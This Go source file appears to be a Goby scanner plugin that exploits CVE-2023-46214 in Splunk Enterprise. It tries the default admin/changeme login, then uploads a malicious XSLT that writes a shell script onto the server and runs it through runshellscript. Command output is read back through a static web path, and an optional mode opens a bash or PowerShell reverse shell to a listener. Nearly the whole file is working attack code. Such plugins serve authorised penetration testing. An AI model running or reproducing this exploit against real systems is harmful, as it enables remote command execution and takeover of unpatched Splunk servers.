package exploits

import (
	"git.gobies.org/goby/goscanner/godclient"
	"git.gobies.org/goby/goscanner/goutils"
	"git.gobies.org/goby/goscanner/jsonvul"
	"git.gobies.org/goby/goscanner/scanconfig"
	"git.gobies.org/goby/httpclient"
	"html"
	"log"
	"net/url"
	"regexp"
	"strings"
	"time"
)

func init() {
	expJson := `{
    "Name": "Splunk Enterprise XSLT Command Execute Vulnerability (CVE-2023-46214)",
    "Description": "<p>Splunk Enterprise is a data collection and analysis software developed by Splunk Corporation in the United States. This software is mainly used for collecting, indexing, and analyzing the data it generates, including data generated by all IT systems and infrastructure (physical, virtual machines, and cloud).</p><p>Splunk Enterprise has a command execution vulnerability that does not securely clean up user provided Extensible Stylesheet Language Transformations (XSLTs). Attackers can exploit this vulnerability to upload malicious XSLTs and remotely execute commands on Splunk Enterprise instances.</p>",
    "Product": "splunk-Enterprise",
    "Homepage": "https://www.splunk.com/",
    "DisclosureDate": "2023-11-22",
    "PostTime": "2023-11-22",
    "Author": "14m3ta7k@gmail.com",
    "FofaQuery": "body=\"__splunkd_partials__\"  || (header=\"Set-Cookie: splunkweb_uid=\" && body=\"enterprise\")",
    "GobyQuery": "body=\"__splunkd_partials__\"  || (header=\"Set-Cookie: splunkweb_uid=\" && body=\"enterprise\")",
    "Level": "2",
    "Impact": "<p>Splunk Enterprise has a command execution vulnerability that does not securely clean up user provided Extensible Stylesheet Language Transformations (XSLTs). Attackers can exploit this vulnerability to upload malicious XSLTs and remotely execute commands on Splunk Enterprise instances.</p>",
    "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://advisory.splunk.com/advisories/SVD-2023-1104\">https://advisory.splunk.com/advisories/SVD-2023-1104</a></p>",
    "References": [],
    "Is0day": false,
    "HasExp": true,
    "ExpParams": [
        {
            "name": "attackType",
            "type": "select",
            "value": "cmd,reverse",
            "show": ""
        },
        {
            "name": "cmd",
            "type": "input",
            "value": "whoami",
            "show": "attackType=cmd"
        },
        {
            "name": "reverse",
            "type": "select",
            "value": "linux,windows",
            "show": "attackType=reverse"
        }
    ],
    "ExpTips": {
        "Type": "",
        "Content": ""
    },
    "ScanSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "ExploitSteps": [
        "AND",
        {
            "Request": {
                "method": "GET",
                "uri": "/test.php",
                "follow_redirect": true,
                "header": {},
                "data_type": "text",
                "data": ""
            },
            "ResponseTest": {
                "type": "group",
                "operation": "AND",
                "checks": [
                    {
                        "type": "item",
                        "variable": "$code",
                        "operation": "==",
                        "value": "200",
                        "bz": ""
                    },
                    {
                        "type": "item",
                        "variable": "$body",
                        "operation": "contains",
                        "value": "test",
                        "bz": ""
                    }
                ]
            },
            "SetVariable": []
        }
    ],
    "Tags": [
        "Command Execution"
    ],
    "VulType": [
        "Command Execution"
    ],
    "CVEIDs": [
        "CVE-2023-46214"
    ],
    "CNNVD": [
        "CNNVD-202311-1496"
    ],
    "CNVD": [
        ""
    ],
    "CVSSScore": "8.0",
    "Translation": {
        "CN": {
            "Name": "Splunk Enterprise XSLT 命令执行漏洞（CVE-2023-46214）",
            "Product": "splunk-Enterprise",
            "Description": "<p>Splunk Enterprise 是美国 Splunk 公司的一套数据收集分析软件。该软件主要用于收集、索引和分析及其所产生的数据，包括所有IT系统和基础结构（物理、虚拟机和云）生成的数据。</p><p>Splunk Enterprise 存在命令执行漏洞，该漏洞源于不会安全地清理用户提供的可扩展样式表语言转换 (XSLT)，攻击者利用该漏洞可以上传恶意 XSLT，从而在 Splunk Enterprise 实例上远程执行命令。</p>",
            "Recommendation": "<p>厂商已发布了漏洞修复程序，请及时关注更新：<a href=\"https://advisory.splunk.com/advisories/SVD-2023-1104\" target=\"_blank\">https://advisory.splunk.com/advisories/SVD-2023-1104</a></p>",
            "Impact": "<p>Splunk Enterprise 存在命令执行漏洞，该漏洞源于不会安全地清理用户提供的可扩展样式表语言转换 (XSLT)，攻击者利用该漏洞可以上传恶意 XSLT，从而在 Splunk Enterprise 实例上远程执行命令。</p>",
            "VulType": [
                "命令执行"
            ],
            "Tags": [
                "命令执行"
            ]
        },
        "EN": {
            "Name": "Splunk Enterprise XSLT Command Execute Vulnerability (CVE-2023-46214)",
            "Product": "splunk-Enterprise",
            "Description": "<p>Splunk Enterprise is a data collection and analysis software developed by Splunk Corporation in the United States. This software is mainly used for collecting, indexing, and analyzing the data it generates, including data generated by all IT systems and infrastructure (physical, virtual machines, and cloud).</p><p>Splunk Enterprise has a command execution vulnerability that does not securely clean up user provided Extensible Stylesheet Language Transformations (XSLTs). Attackers can exploit this vulnerability to upload malicious XSLTs and remotely execute commands on Splunk Enterprise instances.</p>",
            "Recommendation": "<p>The vendor has released a bug fix, please pay attention to the update in time: <a href=\"https://advisory.splunk.com/advisories/SVD-2023-1104\" target=\"_blank\">https://advisory.splunk.com/advisories/SVD-2023-1104</a></p>",
            "Impact": "<p>Splunk Enterprise has a command execution vulnerability that does not securely clean up user provided Extensible Stylesheet Language Transformations (XSLTs). Attackers can exploit this vulnerability to upload malicious XSLTs and remotely execute commands on Splunk Enterprise instances.</p>",
            "VulType": [
                "Command Execution"
            ],
            "Tags": [
                "Command Execution"
            ]
        }
    },
    "AttackSurfaces": {
        "Application": null,
        "Support": null,
        "Service": null,
        "System": null,
        "Hardware": null
    },
    "PocId": "10877"
}`

	loginAccountOPXICUWEASD := func(hostInfo *httpclient.FixUrl) (*httpclient.HttpResponse, error) {
		payloadRequestConfig := httpclient.NewPostRequestConfig(`/zh-CN/account/login`)
		payloadRequestConfig.VerifyTls = false
		payloadRequestConfig.FollowRedirect = false
		payloadRequestConfig.Header.Store("Cookie", "cval=623539892; splunkweb_uid=3CB96A12-D2DC-4F47-836B-2BDE29DAEEC7; session_id_443=e86e1e897ecde505d1f43eb2deb7f9671d2746dd; splunkweb_uid=3CB96A12-D2DC-4F47-836B-2BDE29DAEEC7")
		payloadRequestConfig.Header.Store("Origin", hostInfo.FixedHostInfo)
		payloadRequestConfig.Header.Store(`Content-Type`, `application/x-www-form-urlencoded`)
		payloadRequestConfig.Data = `cval=623539892&username=admin&password=changeme&return_to=%2Fzh-CN%2F&set_has_logged_in=false`
		return httpclient.DoHttpRequest(hostInfo, payloadRequestConfig)
	}

	verifyCookiePDOIUQWEDSDAD := func(hostInfo *httpclient.FixUrl, cookie string) (string, string, error) {
		getRequestConfig := httpclient.NewGetRequestConfig("/en-US")
		getRequestConfig.FollowRedirect = true
		getRequestConfig.VerifyTls = false
		getRequestConfig.Header.Store("Cookie", cookie)
		getRequestConfig.Header.Store("Origin", hostInfo.FixedHostInfo)
		resp, err := httpclient.DoHttpRequest(hostInfo, getRequestConfig)
		if err == nil {
			csrfTokens := regexp.MustCompile(`splunkweb_csrf_token_8000=(.*?);`).FindStringSubmatch(cookie)
			if len(csrfTokens) > 0 {
				return cookie + resp.Cookie, csrfTokens[1], nil
			}
		}
		return "", "", err
	}

	uploadXmlFilePXOIDPASMDP := func(hostInfo *httpclient.FixUrl, csrfToken, cookie, cmd string) (string, error) {
		postRequestConfig := httpclient.NewPostRequestConfig("/en-US/splunkd/__upload/indexing/preview?output_mode=json&props.NO_BINARY_CHECK=1&input.path=shell.xsl")
		postRequestConfig.Header.Store("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0")
		postRequestConfig.Header.Store("Accept", "text/javascript, text/html, application/xml, text/xml, */*")
		postRequestConfig.Header.Store("Origin", hostInfo.FixedHostInfo)
		postRequestConfig.Header.Store("X-Requested-With", "XMLHttpRequest")
		postRequestConfig.Header.Store("X-Splunk-Form-Key", csrfToken)
		postRequestConfig.Header.Store("Cookie", cookie)
		postRequestConfig.VerifyTls = false
		postRequestConfig.Header.Store("Content-Type", "multipart/form-data; boundary=dfd432c79238a00509511564e8bb81b3")
		postRequestConfig.Data = "--dfd432c79238a00509511564e8bb81b3\r\nContent-Disposition: form-data; name=\"spl-file\"; filename=\"shell.xsl\"\r\nContent-Type: application/xslt+xml\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:exsl=\"http://exslt.org/common\" extension-element-prefixes=\"exsl\">\n<xsl:template match=\"/\">\n<exsl:document href=\"/opt/splunk/bin/scripts/shell.sh\" method=\"text\">\n<xsl:text>" + html.EscapeString(cmd) + "</xsl:text>\n</exsl:document>\n</xsl:template>\n</xsl:stylesheet>\n\r\n--dfd432c79238a00509511564e8bb81b3--\r\n"
		resp, err := httpclient.DoHttpRequest(hostInfo, postRequestConfig)
		if err == nil && resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "messages") && strings.Contains(resp.Utf8Html, "type") && strings.Contains(resp.Utf8Html, `text":`) {
			uploadSids := regexp.MustCompile(`text":"(.*?)"`).FindStringSubmatch(resp.Utf8Html)
			if len(uploadSids) > 0 {
				return uploadSids[1], nil
			}
		}
		return "", err
	}

	getJobSearchIdOPWIESAMDKLXJC := func(hostInfo *httpclient.FixUrl, cookie, csrfToken string) (string, error) {
		postRequestConfig := httpclient.NewPostRequestConfig("/en-US/splunkd/__raw/servicesNS/admin/search/search/jobs?output_mode=json")
		postRequestConfig.Header.Store("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0")
		postRequestConfig.Header.Store("Accept", "*/*")
		postRequestConfig.Header.Store("X-Requested-With", "XMLHttpRequest")
		postRequestConfig.Header.Store("X-Splunk-Form-Key", csrfToken)
		postRequestConfig.Header.Store("Cookie", cookie)
		postRequestConfig.VerifyTls = false
		postRequestConfig.Header.Store("Origin", hostInfo.FixedHostInfo)
		postRequestConfig.Header.Store("Content-Type", "application/x-www-form-urlencoded")
		postRequestConfig.Data = `search=%7Csearch+test%7Chead+1`
		resp, err := httpclient.DoHttpRequest(hostInfo, postRequestConfig)
		if err == nil && resp.StatusCode == 201 && strings.Contains(resp.Utf8Html, `sid":`) {
			sids := regexp.MustCompile(`sid":"(.*?)"`).FindStringSubmatch(resp.RawBody)
			if len(sids) > 0 {
				return sids[1], nil
			}
		}
		return "", err
	}

	triggerXsltTransformPXOAIUJEPWQOID := func(hostInfo *httpclient.FixUrl, cookie, uploadSid, sid string) (bool, error) {
		getRequestConfig := httpclient.NewGetRequestConfig("/en-US/api/search/jobs/" + sid + "/results?xsl=/opt/splunk/var/run/splunk/dispatch/" + uploadSid + "/shell.xsl")
		getRequestConfig.VerifyTls = false
		getRequestConfig.Header.Store("X-Splunk-Module", "Splunk.Module.DispatchingModule")
		getRequestConfig.Header.Store("X-Requested-With", "XMLHttpRequest")
		getRequestConfig.Header.Store("Cookie", cookie)
		getRequestConfig.Header.Store("Origin", hostInfo.FixedHostInfo)
		resp, err := httpclient.DoHttpRequest(hostInfo, getRequestConfig)
		if err == nil && resp.StatusCode == 200 {
			return true, nil
		}
		return false, err
	}

	executeBashScriptOIUAYEUIODAS := func(hostInfo *httpclient.FixUrl, sid, cookie, csrfToken string) (bool, error) {
		postRequestConfig := httpclient.NewPostRequestConfig("/en-US/splunkd/__raw/servicesNS/admin/search/search/jobs")
		postRequestConfig.Header.Store("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/119.0")
		postRequestConfig.Header.Store("Accept", "*/*")
		postRequestConfig.Header.Store("X-Requested-With", "XMLHttpRequest")
		postRequestConfig.Header.Store("X-Splunk-Form-Key", csrfToken)
		postRequestConfig.Header.Store("Cookie", cookie)
		postRequestConfig.VerifyTls = false
		postRequestConfig.Header.Store("Origin", hostInfo.FixedHostInfo)
		postRequestConfig.Header.Store("Content-Type", "application/x-www-form-urlencoded")
		postRequestConfig.Data = `search=%7Crunshellscript+%22shell.sh%22+%22%22+%22%22+%22%22+%22%22+%22%22+%22%22+%22%22+%22` + sid + `%22+%22%22`
		resp, err := httpclient.DoHttpRequest(hostInfo, postRequestConfig)
		if err == nil && resp.StatusCode == 201 && strings.Contains(resp.Utf8Html, "<sid>") {
			return true, nil
		}
		return false, err
	}

	exploitASOIDUJOWDNXPIOUC := func(hostInfo *httpclient.FixUrl, cmd string) (bool, error) {
		loginResponse, err := loginAccountOPXICUWEASD(hostInfo)
		if !(err == nil && loginResponse != nil && loginResponse.StatusCode == 200 && strings.Contains(loginResponse.Utf8Html, "status\":0")) {
			return false, err
		}
		cookies, csrfToken, err := verifyCookiePDOIUQWEDSDAD(hostInfo, loginResponse.Cookie)
		if len(cookies) < 1 || len(csrfToken) < 1 || err != nil {
			return false, err
		}
		uploadSid, err := uploadXmlFilePXOIDPASMDP(hostInfo, csrfToken, cookies, cmd)
		if err != nil || len(uploadSid) < 1 {
			return false, err
		}
		sid, err := getJobSearchIdOPWIESAMDKLXJC(hostInfo, cookies, csrfToken)
		if err != nil || len(sid) < 1 {
			return false, err
		}
		time.Sleep(2 * time.Second)
		transformStatus, err := triggerXsltTransformPXOAIUJEPWQOID(hostInfo, cookies, uploadSid, sid)
		if err != nil || !transformStatus {
			return false, err
		}
		executeStatus, err := executeBashScriptOIUAYEUIODAS(hostInfo, sid, cookies, csrfToken)
		if !executeStatus || err != nil {
			return false, err
		}
		return true, err
	}

	getStaticDirIDDOQWIJEOSNMDOA := func(hostInfo *httpclient.FixUrl) (string, error) {
		getResponseConfig := httpclient.NewGetRequestConfig("/en-US/account/login?return_to=%2Fen-US%2Faccount%2F")
		getResponseConfig.Header.Store("Accept", "*/*")
		getResponseConfig.Header.Store("Accept-Encoding", "gzip, deflate")
		getResponseConfig.Header.Store("Connection", "close")
		resp, err := httpclient.DoHttpRequest(hostInfo, getResponseConfig)
		if err == nil && strings.Contains(resp.Utf8Html, "staticAssetId") {
			staticAssetId := regexp.MustCompile(`staticAssetId":"(.*?)","`).FindStringSubmatch(resp.RawBody)
			if len(staticAssetId) > 0 {
				return staticAssetId[1], nil
			}
		}
		return "", err
	}

	getCommandExecuteResultsAXLKCJUOAIJD := func(hostInfo *httpclient.FixUrl, staticAssetId, filename string) (bool, string, error) {
		time.Sleep(3 * time.Second)
		getResponseConfig := httpclient.NewGetRequestConfig("/en-US/static/@" + staticAssetId + "/build/pages/enterprise/" + filename)
		getResponseConfig.Header.Store("Accept", "*/*")
		getResponseConfig.Header.Store("Accept-Encoding", "gzip, deflate")
		getResponseConfig.Header.Store("Connection", "close")
		resp, err := httpclient.DoHttpRequest(hostInfo, getResponseConfig)
		if err == nil && resp.StatusCode == 200 {
			return true, resp.Utf8Html, nil
		}
		return false, "", err
	}

	executeCommandXIOCPUIASR := func(hostInfo *httpclient.FixUrl, cmd string) (bool, string, error) {
		checkFileName := goutils.RandomHexString(6) + ".txt"
		exploitStatus, err := exploitASOIDUJOWDNXPIOUC(hostInfo, "("+cmd+") > ./../../../../share/splunk/search_mrsparkle/exposed/build/pages/enterprise/"+checkFileName)
		if !exploitStatus || err != nil {
			return false, "", err
		}
		staticAssetId, err := getStaticDirIDDOQWIJEOSNMDOA(hostInfo)
		if len(staticAssetId) < 1 || err != nil {
			return false, "", err
		}
		executeStatus, commandResults, err := getCommandExecuteResultsAXLKCJUOAIJD(hostInfo, staticAssetId, checkFileName)
		if !executeStatus || len(commandResults) < 1 || err != nil {
			return false, "", err
		}
		return executeStatus, commandResults, err
	}

	ExpManager.AddExploit(NewExploit(
		goutils.GetFileName(),
		expJson, func(exp *jsonvul.JsonVul, hostInfo *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool {
			checkStings := goutils.RandomHexString(6)
			executeStatus, commandResults, err := executeCommandXIOCPUIASR(hostInfo, "echo "+checkStings)
			return err == nil && executeStatus && strings.Contains(commandResults, checkStings)
		}, func(expResult *jsonvul.ExploitResult, stepLogs *scanconfig.SingleScanConfig) *jsonvul.ExploitResult {
			attackType := goutils.B2S(stepLogs.Params["attackType"])
			if attackType == "cmd" {
				cmd := goutils.B2S(stepLogs.Params["cmd"])
				executeStatus, commandResults, err := executeCommandXIOCPUIASR(expResult.HostInfo, cmd)
				if err != nil || !executeStatus {
					expResult.Output = err.Error()
					return expResult
				}
				if executeStatus {
					expResult.Output = commandResults
					expResult.Success = true
					return expResult
				}
			} else if attackType == "reverse" {
				reversePlatform := goutils.B2S(stepLogs.Params["reverse"])
				waitSessionCh := make(chan string)
				var cmd string
				//rp就是拿到的监听端口
				if rp, err := godclient.WaitSession("reverse_linux_none", waitSessionCh); err != nil || len(rp) == 0 {
					log.Println("[WARNING] godclient bind failed", err)
					expResult.Output = err.Error()
					return expResult
				} else {
					if reversePlatform == "linux" {
						tempFile := goutils.RandomHexString(4) + ".txt"
						cmd = "((echo '" + godclient.ReverseTCPByBash(rp) + "' > " + tempFile + ") & cat " + tempFile + ") | bash"
						exploitStatus, err := exploitASOIDUJOWDNXPIOUC(expResult.HostInfo, cmd)
						if !exploitStatus || err != nil {
							expResult.Output = err.Error()
							return expResult
						}
						cmd = "cat " + tempFile + " | bash"
					} else if reversePlatform == "windows" {
						cmd = godclient.ReverseTCPByPowershell(rp)
					}
					exploitStatus, err := exploitASOIDUJOWDNXPIOUC(expResult.HostInfo, cmd)
					if !exploitStatus || err != nil {
						expResult.Output = err.Error()
						return expResult
					}
					select {
					case webConsleID := <-waitSessionCh:
						if u, err := url.Parse(webConsleID); err == nil {
							expResult.Success = true
							expResult.OutputType = "html"
							sid := strings.Join(u.Query()["id"], "")
							expResult.Output += `<br/> <a href="goby://sessions/view?sid=` + sid + `&key=` + godclient.GetKey() + `">open shell</a>`
							return expResult
						}
					case <-time.After(time.Second * 20):
					}
				}
			}
			return expResult
		},
	))
}
